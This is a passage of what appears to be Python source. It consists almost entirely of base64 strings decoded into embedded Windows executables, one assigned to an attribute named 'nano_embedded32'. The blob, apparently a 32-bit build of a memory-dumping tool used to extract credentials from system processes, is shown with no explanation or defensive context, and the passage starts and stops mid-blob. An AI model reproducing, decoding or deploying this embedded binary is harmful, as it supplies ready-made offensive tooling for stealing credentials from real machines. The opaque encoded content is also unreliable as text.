EAQAEAAAAAAAAAAAAAAAAAAAAAAAAAEBAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAUJEAQAEAAAAgkQBAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAADAAAAOinAAAAAAEAHAAAABCgcKCAoJCgoKCwoLigwKDIoNCgABABABQAAADgrACtCK0QrRitAAAAIAEARAAAAKCjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKUAAACQAQAQAAAACKAgoDigQKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + ) + self.nano_embedded32 = base64.b64decode( + "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